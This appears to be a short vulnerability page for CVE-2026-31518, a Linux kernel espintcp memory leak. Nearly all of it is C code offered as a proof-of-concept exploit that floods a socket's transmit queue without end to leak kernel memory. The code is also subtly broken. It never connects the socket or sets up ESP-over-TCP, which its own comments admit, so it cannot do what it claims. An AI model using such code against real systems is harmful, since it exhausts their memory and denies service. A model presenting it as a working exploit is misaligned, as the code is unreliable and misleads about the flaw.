CVE-2026-31518 Linux Kernel espintcp内存泄露漏洞

/* * PoC for CVE-2026-31518: Linux Kernel espintcp skb leak * This code attempts to trigger the memory leak by sending data * to fill the TX queue on a system using ESP over TCP. * Requires a configured environment with async crypto support. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in.h> int main() { int sock; char buffer[4096]; int ret; // Setup: In a real scenario, this requires establishing // an ESP over TCP (espintcp) connection and configuring // XFRM policies to use async crypto offload. sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); return 1; } memset(buffer, 'A', sizeof(buffer)); printf("[+] Starting to flood TX queue to trigger skb leak...\n"); while (1) { // Continuously send data to fill the TX queue. // When the queue is full, esp_output_tail_tcp returns an error. // In the vulnerable async path, the skb is not freed. ret = send(sock, buffer, sizeof(buffer), 0); if (ret < 0) { // Expected when queue is full, memory leak occurs here perror("send (queue full expected)"); sleep(1); // Brief pause before retrying to sustain the leak } } close(sock); return 0; }